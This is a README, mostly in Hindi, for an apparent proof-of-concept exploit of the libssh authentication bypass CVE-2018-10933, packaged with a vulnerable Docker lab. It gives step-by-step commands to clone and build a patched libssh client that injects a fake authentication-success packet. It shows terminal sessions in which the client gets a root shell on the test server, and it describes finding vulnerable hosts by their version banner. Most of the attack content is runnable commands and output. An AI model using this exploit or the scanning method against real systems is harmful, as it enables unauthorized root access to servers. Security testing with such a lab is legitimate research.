
cve-2018-10933 libssh authentication bypass
CVE-2018-10933 libssh प्रमाणीकरण बाईपास, एक असुरक्षित Docker कंटेनर जो पोर्ट 2222 पर सुनता है शोषण के लिए। ऑथ बाईपास करने के लिए कंटेनर में एक बुनियादी प्रूफ-ऑफ-कॉन्सेप्ट libssh पैच शामिल है। लॉगिन करने के लिए libssh से डिफ़ॉल्ट "myuser" / "mypassword" का उपयोग करें। Docker कंटेनर में libssh की एक प्रति पर एक पैच लागू किया गया है जो किसी भी प्रमाणीकरण प्रयास (कीबोर्ड-इंटरैक्टिव / पबकी / जीएसएस-एपीआई आदि) के दौरान SSH2_MSG_USERAUTH_SUCCESS पैकेट इंजेक्ट करता है और क्लाइंट साइड स्थिति को आगे बढ़ने के लिए सेट करता है। शामिल सर्वर को उदाहरण कोड से पैच किया गया है ताकि शोषण सफल हो सके।
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
एक पैच किया गया exploit-libssh-0.8.3 और असुरक्षित sshd परीक्षण उद्देश्यों के लिए कंटेनर में उपलब्ध हैं। "ssh-client" सफलतापूर्वक प्रमाणीकरण को बायपास करेगा लेकिन सर्वर कोड में अतिरिक्त प्रमाणीकरण जांच के कारण डिफ़ॉल्ट उदाहरण सर्वर के खिलाफ एक शेल स्पॉन करने में असमर्थ है।
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
सलाहकार से "दुर्भावनापूर्ण क्लाइंट पहले प्रमाणीकरण किए बिना चैनल बना सकता है, जिसके परिणामस्वरूप अनधिकृत पहुंच हो सकती है।"
निम्नलिखित libssh डीबग आउटपुट दिखाता है कि सर्वर पर प्रमाणीकरण सफल हुआ है और एक सत्र चैनल बनाया गया है। होस्ट अब प्रमाणित है लेकिन अतिरिक्त सर्वर साइड जांच कमांड को निष्पादित होने से रोकती हैं। एक हमलावर अभी भी सेवा के माध्यम से टनल/प्रॉक्सी कनेक्शन का प्रयास कर सकता है।
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
शेल / exec या pty लॉन्च करने के प्रयासों के परिणामस्वरूप एक सफल सत्र होता है लेकिन उपयोगकर्ता प्रमाणीकरण स्थिति पर अतिरिक्त जांच के कारण उदाहरण सर्वर पर त्रुटियां होती हैं। उदाहरण सर्वर पर निम्नलिखित त्रुटियां दिखाई देती हैं।
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
यह अभी भी संभव है कि बेस्पोक libssh सर्वर संभावित रूप से मनमाना कोड निष्पादन का परिणाम दे सकते हैं, लेकिन बहुमत केवल टनलिंग या SSH प्रोटोकॉल के कुछ दुरुपयोग की अनुमति दे सकता है। अतिरिक्त प्रमाणीकरण जांच को हटाकर सर्वर अब प्रमाणीकरण बाईपास शोषण के लिए असुरक्षित है। सर्वर साइड libssh कार्यान्वयन के लिए इस भेद्यता को पेश करना संभव है। नीचे पैच किए गए libssh का उपयोग करके सफल शोषण का एक उदाहरण।
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Docker कंटेनर डिफ़ॉल्ट रूप से असुरक्षित "ssh_server_fork" उदाहरण चलाएगा, मूल को परीक्षण/डीबगिंग उद्देश्यों के लिए "libssh-0.8.3" निर्देशिका में पाया जा सकता है।
निम्नलिखित विक्रेता libssh के उपयोग के कारण इस दोष से व्यावहारिक रूप से प्रभावित दिखाई देते हैं।
libssh कई *BSD और Linux वितरणों पर स्थानीय रूप से स्थापित है जैसा कि ffmpeg (?), hydra और FOSS पैकेजों की एक छोटी संख्या द्वारा उपयोग किया जाता है।
आप शोषण उपयोग के लिए इस रेपो से एक पैच किया गया libssh क्लाइंट बना सकते हैं।
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
फिर आप प्रभावित libssh सर्वर कार्यान्वयन पर प्रमाणीकरण को बायपास करने के लिए "ssh-client" और किसी भी उदाहरण का उपयोग कर सकते हैं।
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
संभावित रूप से असुरक्षित होस्टों के लिए स्कैनिंग प्रभावित SSH पोर्ट पर नियमित बैनर ग्रैबिंग (जैसे nmap) करके आसानी से की जा सकती है।
SSH-2.0-libssh_0.8.3
मूल सलाहकार CVE-2018-10933.txt में है, भेद्यता पीटर विंटर स्मिथ द्वारा पाई गई। असुरक्षित Docker और libssh शोषण पैच हैकर हाउस (https://hacker.house) द्वारा जारी किया गया।
ये फ़ाइलें 3-क्लॉज़ BSD लाइसेंस के तहत उपलब्ध हैं।